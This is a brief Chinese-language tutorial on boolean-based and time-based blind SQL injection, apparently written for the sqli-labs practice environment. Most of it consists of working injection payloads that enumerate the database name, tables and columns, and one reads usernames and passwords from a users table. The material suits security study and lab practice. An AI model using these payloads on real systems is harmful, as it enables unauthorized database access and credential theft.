布尔型盲注核心思想: 利用判断语句杢证明推测是否正确。 推测正确时,页面正常显示;错误时,页面异常。
盲注的一般步骤:
1、求闭合字符;2、求当前数据库名的长度;3、求当前数据库名对应的ascii值;4、求表的数量;5、求表名的长度;6、求表名对应的ascii值;7、求列的数量;8、求列名的长度;9、求列名对应的ascii值;10、求字段的数量;11、求字段内容的长度;12、求字段内容对应的ascii值。
求数据库的长度 ?id=1' and length(database())=8 %23
求数据库名ascii值 ?id=1' and ascii(substr(database(),1,1))=115 %23
求表的数量 id=1' and (select count(table_name) from information_schema.tables where table_schema='security') = 4 %23
求表名的ascii值 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 %23
求列的数量 id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 %23
求列名的ascii值 id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name = 'users' limit 0,1),1,1))=105 %23
求字段的数量 id=1' and (select count(username) from security.users)=13 %23
求字段内容 id=1' and ascii(substr((select concat(username,0x23,password) from security.users limit 0,1),1,1))=68 %23
时间型盲注 特点:页面不存在异常,且即无回显也无报错信息 利用:只能利用条件语句结合执行时间的长短杢判断payload是否正确
后台代码:
select id, username,password from users where id = '$id' limit 0,1;
输入id:1' and if(length(database())>10,sleep(0),sleep(5)) %23
select id, username,password from users where id = '1' and if(length(database())>10,sleep(0),sleep(5)) %23' limit 0,1;
等同:
输入id:1' and sleep(if(length(database())>10,0,5)) %23